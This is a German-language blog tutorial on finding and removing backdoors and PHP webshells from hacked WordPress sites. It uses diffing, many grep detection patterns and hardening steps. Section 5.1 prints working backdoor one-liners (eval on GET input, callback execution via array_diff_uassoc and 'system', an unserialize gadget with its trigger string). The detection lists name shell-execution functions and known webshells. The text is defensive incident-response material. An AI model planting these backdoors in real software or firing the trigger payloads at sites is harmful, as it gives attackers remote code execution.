WordPress / IT-Sicherheit

WordPress gehackt: So findet man die meisten Hintertüren im Code

Aktualisierung: 20. Februar 2019 | 12:06 Uhr

Täglich werden vermutlich tausende Websites mit Malware infiziert. Diese Website verteilen ihrerseits Viren und Trojaner an nichts ahnende Besucher. Zusätzlich werden infizierte Seiten und Server für Angriffe gegen andere Websites missbraucht. Aktuell sieht man wieder eine ungeheure Zahl von Infektionen, die vor allem WordPress betreffen, was nicht daran liegt, dass WordPress extrem unsicher ist – vielmehr ist der Webmaster das Problem: Keine regelmäßigen Updates, zu kurze Passwörter, viele „Wald und Wiesen“-Plugins und Themes, geklaute Plugins/Themes (nulled versteht sich!) oder unsichere Datei- bzw. Schreibrechte auf dem Server/Webspace.

Im aktuellen Fall (siehe Link oben) rackern sich die Webmaster ab, löschen infizierte Dateien, um nach 10 Stunden festzustellen: Alles ist wieder infiziert. Ganz blöd gelaufen. Wer sich das live anschauen, will der findet den ein oder anderen Beitrag dazu in der drwp.de-Facebookgruppe. Das Vorgehen bei der wirklich guten Beseitigung von Malware in WordPress Blogs oder allgemein PHP-Applikationen ist eben ungemein wichtig – daher habe ich mich entschieden diesen Artikel zu schreiben.

Bevor du weiterliest: Im weiteren Verlauf des Artikels wird mit der Linux Shell gearbeitet, wer solche Arbeiten an einem Liveserver macht, der muss wissen, was er da genau macht. Wer nicht gründlich arbeitet und eine Shell/einen Backdoor übersieht, läuft ziemlich schnell Gefahr wieder gehackt zu werden.

Der Artikel richtet sich an technisch Interessierte. Laien sollten die Suche nach Backdoors und die Beurteilung, ob ein Stück Code wirklich ein Backdoor ist, dem Profi überlassen.

1. Eigenen PC prüfen

Wer annimmt, dass die eigene Website gehackt wurde und ggf. Malware an Besucher ausliefert, darf eigentlich auch davon ausgehen, dass der eigene Computer mit Trojern o.ä. infiziert ist. Hier sollte man zumindest eine gescheite Antivirus-Software haben, um sicher zu stellen, dass dem nicht so ist. Wer beispielsweise eine Linux-Distribution zur Hand hat, die einen Live-Modus besitzt, der darf getrost davon booten und von dort aus seine eigene Seite „säuber“.

2. Website isolieren

Die Seite darf nach einem Befall nicht im Netz sein. Google meckert und mit Sicherheit sperrt auch euer Webspace-Betreiber euren Account früher oder später. Sorgt dafür, dass die Seite für niemanden aus dem Internet erreichbar ist. Damit verhindert man zum einen, dass neue Backdoors dazu kommen oder parallel zur Säuberung verwendet werden, um noch mehr Schund auf den eigenen Webspace hochzuladen. Außerdem verhindert man so, dass sich Besucher infizieren – sofern dort Malware verteilt wird.

Hier muss jeder selbst zu sehen, wie er es am besten macht. Oft reicht eine einfache .htaccess mit einem „deny from all“. Je nach Webspace-Betreiber gibt es auch die ein oder andere On/Off-Lösung.

3. Mit der Arbeit anfangen…

Wie man genau vorgeht, hängt stark davon ab, was einem zur Verfügung steht. Wer ssh Zugang zum Server hat, ist klar im Vorteil. Wer nur per FTP Zugang hat, der muss wohl etwas mehr arbeiten. In so einem Fall würde ich mir die gesamte Seite auf meine Live-Distribution per FTP herunterladen. Der Vorteil ist hier, dass einem diverse Linux-Tools zur Verfügung stehen.

Bevor man anfängt: Backup von Datenbank und Dateisystem machen

4. Ausgehend von WordPress – Core ersetzen

Als Paradebeispiel nehme ich im Folgenden WordPress. Alle Core-Dateien deiner Website gehören gelöscht und mit den Originaldateien ausgetauscht. Hier ist wichtig auf die Version von WordPress zu achten – solltest du länger das CMS nicht aktualisiert haben. Dazu zählen alle Dateien in den Ordnern:

  • wp-includes/
  • wp-admin/

Auch die folgenden Dateien sollte man ersetzen – man findet sie im Hauptverzeichnis:

  • index.php
  • wp-*.php

Nicht vergessen später die neuen MySQL-Zugangsdaten in die wp-config.php einzutragen.

Du hast Zugang per SSH?

Ggf. kannst du dir Schritt 4 sparen. Wichtig wäre allerdings zu prüfen, ob es zwischen dem Core deines WordPress-Blogs und einem neu heruntergeladenen WordPress (bzw. dessen Core) Unterschiede gibt. Empfehlenswert ist es die oben genannten Ordner und Dateien in einen seperaten Ordner zu kopieren und parallel dazu ein Original-WordPress zu entpacken. Das dürfte in etwa so aussehen:

  1. testordner/alteswordpress/wp-admin/*
  2. testordner/originalwordpress/wp-admin/*
  3. testordner/alteswordpress/wp-includes/*
  4. testordner/originalwordpress/wp-includes/*
  5. testordner/alteswordpress/index.php
  6. testordner/originalwordpress/index.php
  7. … restliche Dateien des Core beider „Versionen“ analog

Das Verzeichnis „wp-content/“ würde ich löschen, da hier auf jeden Fall extrem viele Unterschiede zu finden sein werden. Unbedingt drauf achten, dass man nicht den Original „wp-content/“-Ordner löscht sondern lediglich in der Kopie.

Jetzt schnappen wir uns die Linux-Konsole und gehen in den Ordner „testordner“ – oder wie auch immer ihr ihn genannt habt und geben folgendes ein:

diff --brief -r alteswordpress/ originalwordpress/

Als Ergebnis wird uns in der Konsole angezeigt, welche Dateien:
a) unterschiedlich vom Inhalt sind
b) zusätzlich in „alteswordpress“ gefunden wurde
Man sieht als sofort, wo Blackhats potentiell eigenen Code hinzugefügt haben sowie wo ganze Dateien hinzugefügt wurden – hierbei handelt es sich oft um so genannte PHP Shells.

5. Backdoors und Shells – einige Beispiele

Wer sich mit dem Thema häufig beschäftigt, der stellt fest, dass Backdoors allgemein immer ganz ähnlich aufgebaut sind. Manche sind „dumm“, andere sind „gut/schlau“ umgesetzt. Fast alle kann man allerdings mehr oder weniger aufwendig finden. Es gibt Dutzende Methoden, wie man Schadcode bzw. „Hintertüren“ verstecken kann. Einige simple Beispiele zeige ich euch im Folgenden:

5.1. Beispiele für Hintertüren

Der Klassiker:

@eval($_GET['cmd']);

Sieht erstmal nicht bedrohlich aus, aber kann enormen Schaden anrichten: $_GET[‚cmd‘] speichert den Inhalt, den man per URL folgendermaßen überträgt: index.php?cmd=[mein inhalt]. Dieser Inhalt kommt in die Funktion „eval“. Diese macht nichts anderes als „ausführen“. Das vorangestellte „@“ unterdrückt ggf. auftretende Fehler. Diese Art von Backdoor kommt relativ häufig vor – das allerdings in diversen Abwandlungen und Arten der Übertragung.

Die bessere Version:

                            @extract($_POST)
                            @die($a($b))
                        

Dieser Code ist schon schwerer zu finden bzw. zu erkennen. Man muss sich hierfür schon etwas besser mit PHP ausgekennen. Im Grunde speichert „extract“ alles in einzelne Variablen. In dem Fall könnte man dem Script per POST schicken: a=eval&b=phpinfo(); und es würde die Funktion phpinfo() ausgeführt. Auch hier hat man das @ zur Unterdrückung von Fehlern.

Die hinterhältige Version:

array_diff_uassoc([$_GET['cmd']=>''], [0], 'system');

Richtig viel Spaß hat man mit solchen Backdoors. Hier wird die Callback-Funktion „system“ mit dem Inhalt, der über $_GET[‚cmd‘] kommt gefüttert. Denkbar wäre so etwas wie: index.php?cmd=ls -al

PHP hat massenhaft solche Funktionen, einige erlauben das Mitschicken von Parametern, wie etwa array_diff_uassoc oder array_diff_ukey, andere erlauben lediglich das Ausführen von simplen parameterlosen Funktionen. Hier könnte man das simple Beispiel nehmen:

array_filter([1,2,3,4],'phpinfo');

Relativ unbekannt, aber wirksam:

                        class class_ausgabe
                        {
                            public $var1 = '1';
                            public $var2 = '2';

                            public function var_ausgabe()
                            {
                                 echo $this->var2;
                            }

                            public function __destruct()
                            {
                                eval($this->aaa);
                            }
                        }

                        $eingabe = @unserialize($_GET['cmd']);
                        

Hier hat man zwar den Hinweis „eval“, aber das kann extremst gut ausgebaut und verkleinert sowie versteckt werden. Wem „Magic Functions“ in PHP etwas sagen, der wird hoffentlich wissen, dass man NIE, wirklich NIE, direkt Daten an unserialize() übergeben soll. unserialize() führt vollautomatisch einige dieser Funktionen aus. Entweder man bastelt sich damit einen Backdoor oder nutzt bestehende Klassen in bekannten CMS aus. Piwik hatte da mal enorme Probleme mit.

Wie das ganze getriggert wird? So:

index.phpcmd=O:13:“class_ausgabe“:1:{s:3:“aaa“;s:10:“phpinfo();“;}

5.2 PHP Shells und Scripte

Interessant sind auch PHP Shells. Das sind im Grunde mehr oder weniger komplexe, oft „verschlüsselte“ PHP Scripte, die von Blackhats hochgeladen werden und anschließend zur Kontrolle des Servers verwendet werden. Man hat meist eine simple Benutzeroberfläche und kann darüber auf die Datenbank zugreifen, alle Dateien des Servers lesen und ändern. Local Exploits ausführen etc. pp. Was am Ende mit Hilfe einer Shell möglich ist, hängt maßgeblich von den Serverrechten und Dateirechten ab. Findet man so etwas auf dem eigenen Server, sollte man wachsam sein. Klassische PHP Shells, sind etwa die „c99 Shell“ oder die „r57 Shell“. Im Bild sieht man einen Teil der r57 Shell.

r57 Shell Interface

6. Hintertüren finden und beseitigen

Der eigentlich interessante Teil kommt jetzt. Blackhats kommen meist über irgendwelche Sicherheitslücken in das System rein. Was passiert dann:
– eure Website wird mit diversen, teilweise hunderten Backdoors versehen
– es werden hier und da in beschreibbaren Verzeichnissen so genannte „PHP Shells“ platziert
– es werden diverse Änderungen an euren Dateien vorgenommen
Die Änderungen, Backdoors und Shells gilt es jetzt zu finden. Wir schnappen uns also wieder die Konsole unter Linux oder ein Programm unter Windows oder Mac, mit welchem man nach bestimmten Inhalten rekursiv in allen Dateien und Ordnern suchen kann. Der Linux-Nutzer hat da den Befehl „grep“. Aus alten Windows-Zeiten weiß ich, dass es da diverse Tools gibt, beispielsweise „WinGrep“. Die Verwendung mit solchen Tools unterscheidet sich natürlich von dem, was im Folgenden kommt. Hier muss jeder selbst schauen, was die Doku zum Tool sagt. Wingrep unterstützt beispielsweise auch Regular Expressions, auf die wir im Folgenden setzen werden.

Wichtig: Alle folgenden Befehle müssen vom Benutzer richtig interpretiert werden. Es kommt in der Regel zu vielen „false positives„. Viele Befehle, die Blackhats verwenden, werden natürlich auch von normalen Plugins und in Themes verwendet. Vor allem Plugins mit denen Zugriff auf das Dateisystem nötig ist (Caching-Plugins, Minifyier,…) oder Plugins, die auf Systemsoftware zugreifen müssen (Bildoptimierung, á la EWWW Image Optimizer) erzeugen viele „Falschmeldungen“. Wer hier Erfahrung hat, wird allerdings sehr schnell erkennen, was interessant ist und was nicht.

Alternativ: Den Profi ranlassen! Wer Bedarf hat, darf sich einfach bei mir melden!

6.1. PHP Backdoors finden – einige Befehle

Beispielausgabe einer PHP Shell mittels grep

Im Folgenden findet man einige Befehle mit grep, die enorm dabei behilflich sind, Hintertüren und Shells aufzuspüren. Gleichzeutig muss beachtet werden, dass hier oft Falschmeldungen erzeugt werden und man sich jede Meldung anschauen muss.

a)
grep '(\$([a-zA-Z0-9]{1,15})([ ]{0})=([ ]{0})\$([a-zA-Z0-9]{1,15})\()' . -riE -C 5 --include=* --color
grep '(\$([a-zA-Z0-9]{1,15})=\$([a-zA-Z0-9]{1,15}))' . -riE -C 5 --include=* --color

Bei diesem Befehl wird nach dem Muster „$befehl1=$befehl2(„. Viele Hintertüren verschleiern gerne auf diese Art und Weise den Code. Dabei wird über „$befehl2“ z.B. per COOKIE ein Funktionsname übertragen (eval, system, …).

Ein Beispiel zeigt der folgende Screenshot, drunter gibt es das Ergebnis für „grep“:
Ergebnis - Beispiel 1
Ergebnis - Beispiel 2

Hier kann man allgemein etwas variieren:

grep '(\$([a-zA-Z0-9]{1,15})([ ]{0,2})=([ ]{0,2})\$([a-zA-Z0-9]{1,15})\()' . -riE -C 5 --include=* --color

Der Befehl unterscheidet sich nur gering, aber zeigt auch Backdoors an, die das Muster „$befehl1 = $befehl2(“ besitzen. Klar ist, dass es hier extrem viele Falschmeldungen geben wird!

b)
grep '(system|eval|exec|passthru|getcwd|shell_exec|phpinfo|chmod|mkdir|fopen|readfile|call_user_func|shell_exec|assert|create_function|getcwd|exec|lave|document_write)([ ]{0,2})\(' . -irE -C 5 --include=* --color

Der Befehl ist vergleichsweise einfach. Es wird nach dem Muster „befehl(„, „befehl (“ oder „befehl (“ bezogen auf bestimmte Befehle gesucht. Man wird hier ebenfalls recht viele Falschmeldungen bekommen, da viele Funktionen von beliebten Scripte und Plugins ganz legal verwendet werden. Aber der Befehl schnappt sich auf jeden Fall die Klassiker unter den PHP Backdoors:

Ergebnis - Beispiel 3

Im Screenshot sind vor allem die erste sowie die beiden letzten Zeilen eindeutig Hintertüren. In der Mitte sieht man WordPress Corefunktionen.

c)
grep '(\$\_(POST|COOKIE|REQUEST|GET|SERVER)\[(.*){1,15}\]([ ]{0,1})\(([ ]{0,1})(\$\_(POST|COOKIE|REQUEST|GET|SERVER)))' . -irE -C 5 --include=* --color

Hiermit werden Muster á la „if (isset($_COOKIE[„id“])) @$_COOKIE[„user“]($_COOKIE[„id“]);“ aufgespürt. Im ersten Cookie („user“) steht der Befehlsname, z.B. „eval“ und im zweiten Cookie („id“) der auszuführende Befehl, beispielsweise „phpinfo();“. Ein normaler Besucher führt mit dem Code nichts aus, wer sich allerdings hin setzt und mit gängigen Browserplugins die Cookies so hinmanipuliert, wie oben beschrieben, führt beim Besuch beliebigen Schadcode aus. In freier Wildbahn passiert das am Ende immer automatisiert über Bots. Das muss natürlich allgemein nicht über Cookies passieren. Der Weg über URL-Parameter oder POST-Parameter ist ebenfalls möglich.

d)
grep '(chr\(([0-9]{1,3})\)\.)' . -riE -C 5 --include=* --color

Durchaus wichtig ist dieses Snippet. Blackhats verwenden oft die Funktion chr() zur Verschlüsselung von Zeichen und verketten diese. Hiermit lässt sich das recht schnell aufdecken. Als Beispiel-Backdoor habe ich bei einem Kunden folgenden gefunden (Ausschnitt):

Ergebnis - Beispiel 4
e)
grep '(\@(die|extract|system|eval|exec|passthru|getcwd|mkdir|fopen|readfile|call_user_func|shell_exec|assert|create_function|file_get_contents|fopen|chmod|include))' . -riE -C 5 --include=* --color

Auch hiermit werden eher einfach Backdoors gefunden, als markant wird hier vor allem die Fehlerunterdrückung mit Hilfe des „@“ vor dem Befehl angenommen. Das ist immer ein gutes Indiz, dass etwas nicht stimmt. Programmiert man sauber, braucht man sich diesen Mittels nicht zu bedienen, trotzdem neigen viele Plugin- und Theme-Entwickler dazu so Fehler zu unterdrücken, daher sind hier sicher auch Falschmeldungen zu erwarten.

Ein Beispiel für ein gutes Ergebnis könnte so aussehen:

Ergebnis - Beispiel 5
f)
grep '((unserialize|eval|call_user_func|passthru|document_write|shell_exec|assert|create_function|getcwd|system|exec|lave|extract|openssl_decrypt|gzuncompress|str_rot13|unescape|base64_decode|strrev|edoced_46esab)([ ]{0,1})\(([ ]{0,4})\$\_(POST|REQUEST|SERVER|COOKIE|GET))' . -riE -C 5 --include=* --color

Der Code ist vergleichbar mit dem aus e), erfasst aber noch zusätzlich die typischen Übertragungsarten von Daten. Klugerweise würde man vor e) eher f) ausführen. Beide zu Kombinieren – vor allem, was die Befehle angeht, kann nicht verkehrt sein.

g)
grep '((openssl_decrypt|gzuncompress|str_rot13|chr\(ord|unescape|base64_decode|strrev|edoced_46esab)([ ]{0,2})\(([ ]{0,2}))' . -riE -C 5 --include=* --color

PHP bietet diverse Möglichkeiten Daten und Strings zu codieren/zu verschlüsseln. Mit dem Befehl oben kann man Backdoors auf die Schliche kommen, die die bekanntesten Features nutzen. Als Beispiel an einem Pseodo-Beispiel aus dem Internet, bei dem str_rot13() zum Einsatz kommt:

Ergebnis - Beispiel 6
h)
grep '((;|[ ]{0,2})(eval|call_user_func|passthru|document_write|shell_exec|assert|create_function|getcwd|system|exec|lave|extract)([ ]{0,2})\(([ ]{0,3})\$(\_|[a-zA-Z0-9]))|(array_diff_ukey([ ]{0,2})\(([ ]{0,2})\[([ ]{0,2})\$|array_diff_uassoc([ ]{0,2})\(([ ]{0,2})\[([ ]{0,2})\$)' . -riE -C 5 --include=* --color

Hier haben wir einige weitere Nuancen, die man oft in PHP-Hintertüren zu sehen bekommt. Der Befehl kombiniert teilweise oben vorgestellte Befehle mit beliebten Mustern von Blackhats.

i)
grep '(eval|passthru|shell_exec|assert|create_function|getcwd|system|exec|lave|extract)([ ]{0,2})\(([ ]{0,2})(openssl_decrypt|gzuncompress|str_rot13|chr\(ord|unescape|base64_decode|strrev|edoced_46esab)' . -riE -C 5 --include=* --color

Als durchaus effektiv erweist sich dieser Befehl. Viele Backdoors sind nach dem Muster aufgebaut: ausführen(entschlüsseln(nutzereinhabe)). Hiermit schnappt man eine große Anzahl von hinterhältigen PHP Codes. Hierzu ein Beispiel mit aus der Konsole:

Ergebnis - Beispiel 7
j)

Durchaus ergiebig kann auch der folgende Befehl sein – hier wird es aber zu vielen Falschmeldungen kommen – da muss man wissen, wonach man sucht:

grep '("\ \.\ ")' . -riE -C 5 --include=* --color
Ergebnis - Beispiel 8
k)

Hin und wieder sind Angreiffer auf Black Hat SEO aus – so wird versucht die Seite als Backlinkquelle zu missbrauchen. Ein schönes Beispiel für so etwas, findet man im Folgenden. Hier werden beim Abrufen der Seite – wenn u.a. der Google Bot die Seite besucht – zusätzlich Beiträge angezeigt, die der normale Nutzer nicht sieht. Im Vorfeld hat der Angreifer hunderte Posts in der Datenbank hinterlegt, das meiste verlinkend auf Warez-Seiten. So konnte der Angreifer bequem auf soliden und bekannten Seiten Backlinks zu seinem Warez Portal aufbauen. Das fiese war hier, dass der Nutzer das quasi nicht gesehen hat, denn das add_action wirkt auch im Backend von WordPress.

Wie man so etwas nun bequem filtern kann? Das wäre eine Möglichkeit, mit der Zeit wächst hier auch die Liste an Begriffen, die in dieses Spektrum fallen.

grep '((%|)(torrent|warez|viagra|pills|traffic|fucked|porn)(%|))' . -riE -C 5 --include=* --color
l)

Sonstige „interessante“ greps:

grep '(eval\/|\$GLOBALS|\$\{")|\.\$' . -riE -C 5 --include=* --color

Bei allen Befehlen a) bis l) muss immer geschaut werden, ob die Ausgabe tatsächlich eine harmlose Funktion oder einen Backdoor zeigt. Im Zweifelsfalls sollte man sich das Original besorgen, was bei WordPress Themes und Plugins einfach ist und per „diff“ abgleichen!

Keiner der Befehle ist perfekt, man kann quasi alles irgendwie umgehen. Die Befehle dienen eher dazu die Menge an Dateien, die man sich genauer anschauen muss, einzugrenzen!

Das Problem bei diesem Vorgehen ist, dass man am Ende wissen muss, was vor einem zu sehen ist. Das heißt im Klartext, dass man zumindest Grundkenntnisse in PHP haben muss, um wirklich halbwegs einen Backdoor erkennen zu können.

6.2. PHP Shells auf dem Webspace suchen

Meistens wird mit den Befehlen aus 6.1. problemlos eine Vielzahl von PHP Shells entdeckt. Die sollte man direkt löschen – soweit klar. Wer etwas weiter gehen will, der kann folgenden Befehl verwenden:

grep '(c99|r57|cq99|liz0zim|kacak|zehir)' . -riE --include=*

Er sollte die beliebtesten Webshells finden. Natürlich gibt es auch hier hunderte verschiedene Scripte, die Blackhats verwenden können.

Viele Antivirus-Programme sind ebenfalls recht gut darin PHP Shells zu finden. Es lohnt sich also durchaus mal alles herunterzuladen und mit dem Programm des Vertrauens abzuscannen. ClamAV kann hierzu natürlich ebenfalls verwendet werden und ist sogar recht effizienz bei der Suche:

nice -n 19 clamscan /pfad/zu/deiner/seite/ -r -i | grep " Malware?"

6.3. Modifikationen in der .htaccess

Ein durchaus interessantes Thema ist auch die Modifizierung der .htaccess-Datei. Auffällig ist, wenn man alle Besucher einer Seite auf eine andere weiter leiten lässt. Daher findet man so etwas kaum! Was Blackhats allerdings oft machen ist einen internen Rewrite von einem Bild auf eine PHP-Datei zu setzen. Der Aufruf einer Bilddatei wird vom Server intern als PHP interpretiert. Das ist ganz nett, weil man in den Logs nicht sieht, dass da eigentlich eine PHP-Datei aufgerufen wird.

Die Lösung:

grep '(SetHandler|x-httpd-php)' . -riE --include=.htaccess

Auch hier sollte man aber wissen, was in der .htaccess sein darf und was nicht. Grundwissen zum Thema schadet nicht.

6.4. Ausnutzung interner Funktionen

Im Fall von WordPress gibt es einige interessante interne Funktionen, die zumindest im Backend zur Verfügung stehen und von Blackhats genutzt werden – das passiert aber relativ selten und ist recht schwer zu entdecken. Ein sehr simples Beispiel mit get_file wäre:

get_file($_GET['url]);

Mit dieser WordPress-Funktion kann man lokale Dateien per file_get_contents (inklusive Fehlerunterdrückung) einbinden. Wenn man an der Stelle etwas ideenreich ist, kann man damit schöne Hintertüren bauen, die unauffällig sind.

6.5. PHP-Dateien aus dem „uploads“-Ordner löschen

PHP-Dateien haben im „wp-content/uploads/“-Ordner nix zu suchen und sind in fast allen Fällen PHP Shells, die dort platziert wurden, weil der Ordner in den meisten Fällen beschreibbar ist.

Mit dem Befehl findest du alle PHP-Dateien in einem definierten Ordner:

                            find wp-content/uploads/ -name "*.php*" -print
                        

Die index.php mit dem Inhalt „Silence is golden“ können natürlich verbleiben!

7. Webspace sauber! Was nun?

Du hast den WordPress-Kern ersetzt. Du hast alle PHP Backdoors, Shells und sonstiges gefunden und beseitigt. Trotz variieren der oben genannten Befehle findest du keine neuen Probleme?

Dann wäre jetzt der Zeitpunkt die „neue“ saubere Version deines Blogs hochzuladen und die alte komplett zu ersetzen. Vergiss hierbei nicht, die Ordner der alten Version wirklich zu löschen – ansonsten bleiben zumindest alte Dateien vorhanden.

Zur .htaccess fügst du nun unter dein „deny from all“ ein „allow from [DEINE IP ADRESSE]“ ein. So kannst du als einzige Person auf den Blog zugreifen. Jetzt machst du noch alle Updates für deinen Blog und prüfst ob alles funktioniert. Aktuelle Plugins garantieren zwar nicht, dass sie keine Sicherheitslücken haben, aber bekannte Lücken werden so eben geschlossen. Jetzt heißt es Logs beobachten! Wenn du gründlich warst, wars das fürs erste!

Nicht zu vergessen wäre auch: Ändere unbedingt alle Passwörter – d.h. Datenbank und FTP!

8. Zum Abschluss

Wie schon mehrfach erwähnt. Die Befehle erleichtern vieles, allerdings sind sie nicht perfekt und schon gar nicht in der Lage 100% der Backdoors zu finden. Dazu gibt es zu viele Möglichkeiten deren Existenz zu verschleiern.

Was sich wirklich lohnt, wenn man keinen Profi beauftragen will: Einarbeiten in das Thema. Der Artikel versteht sich eher als Einführung. Es gibt sicher noch zig Themen, die man hier erwähnen könnte.

9. Einige Tipps

Mit wenigen Handgriffen kann man schon vieles für die Zukunft vorbeugen! Eine Zusammenstellung:

9.1. Dateirechte

Der Kollege Ernesto Ruge hat einen fabelhaften Artikel zu dem Thema geschrieben. Einfach befolgen und die Dateirechte richtig setzen. Das sorgt zwar dafür, dass man bei Updates und Co. die FTP-Daten jedes Mal eingeben muss, verbietet aber das Änderung/Hinzufügen von Dateien:

Dateirechte: Wie stelle ich das bei meinem Hoster ein?

Des Weiteren findet man auf seinem Blog ebenfalls einen Artikel rund um das Thema Malwarebefall bei WordPress:

Hilfe! Mein WordPress hat einen Virus! Wie mache ich den weg?

9.2. SSH Zugang? Tools nutzen!

Es gibt unter Linux so viele coole Tools, die man verwenden kann. Ein Beispiel wäre „filechanged“. Damit kann man man bestimmte Ordner regelmäßig auf Änderungen prüfen kann.

9.3. Gefundene Backdoors studieren

Was sich immer lohnt: Schau dir an, wie der gefundene Backdoor funktioniert. Wie gehen Blackhats vor. Hat der Backdoor einen eigenen Stil? Werden bestimmte Techniken verwendet? Mit diesem Wissen kannst du die oben genannten Befehle erweitern und meist weiteren Hintertürchen auf die Schliche kommen!

9.4. Massenhaftes Suchen und Ersetzen von Backdoors

Fakt ist, dass die meisten Sicherheitslücken stumpf von Bots ausgenutzt werden. Es wird in hunderten gar tausenden Dateien einfach am Anfang oder am Ende ein Backdoor hinterlassen. Ist das der Fall, kann man mit gängigen Tools (PowerGrep unter Windows oder „sed“ unter Linux) innerhalb von Minuten alles bereinigen. Hier ist meist die Herausforderung einen guten regulären Ausdruck zu finden, da es da recht schnell unübersichtlich werden kann.

9.5. Veränderte JS und HTML-Dateien beachten

Wird Schadecode direkt in HTML oder JS-Dateien injeziert, so muss man diese natürlich auch säubern. Die Technik ist im Grunde die gleiche, wie oben beschrieben. Diese Art von Problemen sind allerdings vergleichbar klein. Hat man penibelst alle PHP Backdoors entfernt, werden die infizierten JS/HTML-Dateien auch nicht mehr ausgespielt. Trotzdem sollte man die veränderten Dateien aufspüren, reinigen oder eben löschen.

9.6. Passwörter ändern

Zwar wird es oben kurz erwähnt, aber doppelt hält besser: Ist das System sauber, sollte man alle Passwörter ändern:

  • Zugangsdaten aller FTP Nutzer
  • Zugangsdaten zur Datenbank, ggf. Salts neu setzen
  • Zugangsdaten ins wp-admin jedes Nutzers, besonders der Superuser
  • Wer spezielle APIs verwendet, der sollte u.U. auch da die Keys neu generieren

9.7. Nutzerverwaltung prüfen

In WordPress legen Bots gerne automatisch neue Adminaccounts an. Schaut euch mal alle Nutzer an – wenn jemand unbekanntes dabei ist: löschen. Das geht leicht via WP-Admin. Man sollte sich allerdings trotzdem mal die „wp_users“-Tabelle anschauen, ob dort ggf. weitere versteckte Admins zu finden sind! Hier darf man nicht zimperlich sein, die Blackhats sind relativ schlau und legen oft Nutzer an, bei denen sich der Laie denken könnte: „Ja, das wird schon seine Richtigkeit haben„!

10. PHP deaktiveren – da wo es sich lohnt

Eine sehr effektive Maßnahme ist es, die PHP Engine stellenweise zu deaktivieren. Das funktioniert bei viele Webhostern problemlos über die .htaccess. Im Fall von WordPress ist es so, dass Angreifer die erste Shell meist im uploads-Ordner ablegen, da dieser Ordner auf jeden Fall beschreibbar ist. Von dort kann die Datei aufgerufen werden und zur weiteren Verbreitung von Malware im System missbraucht werden. Deaktiviert man nun PHP in diesem und allen untergeordneten Ordnern, so kann man zwar den Upload einer Shell nicht verhindern, jedoch wird damit die Ausbreitung verhindert. Des Weiteren ist die Shell so für den Angreifer nutzlos.

Wichtig ist hier zu sagen, dass man hier vorsichtig sein muss, da einige WP Plugins gerne eigene PHP-Dateien in den uploads-Ordner schieben.

                            RemoveHandler .php .phtml .pht .php3 .php4 .php5 .php6 .php7
                            RemoveType .php .phtml .pht .php3 .php4 .php5 .php6 .php7
                            php_flag engine off
                        

Diese Einstellung sollte man allerdings ausführlich testen, falls ein 50x-Fehler geworfen wird, muss man die Anweisugen anpassen. Hier wird der Webhoster sicherlich weiterhelfen.

11. Nützliche Kommandos

An der Stelle findet man nützliche Kommandos für die Konsole, die ich regelmäßig verwende:

find $1 -type f -print0 | xargs -0 stat --format '%Y :%y %n' | sort -nr | cut -d: -f2- | head

Das Kommando zeigt die letzte geänderten/neuen Dateien im Filesystem an. Vor allem nach einer abgeschlossenen Säuberung kann man hiermit die Änderungen schnell und effizient im Auge behalten.

12. Vorschläge? Kritik?

Wenn du weitere Vorschläge oder Anpassungen an den Befehlen hast: immer her damit!

Du hast in einer PHP oder einer JS-Datei etwas gefunden, was ein Backdoor ist, aber nicht von den grep-Befehlen erfasst wird? Schick mir eine E-Mail mit dem Code als pastebin.com-Eintrag. Dann versuche ich die Befehle anzupassen!

Lass uns mal zusammen was machen!

Dafür musst du mich allerdings schon noch kontaktieren!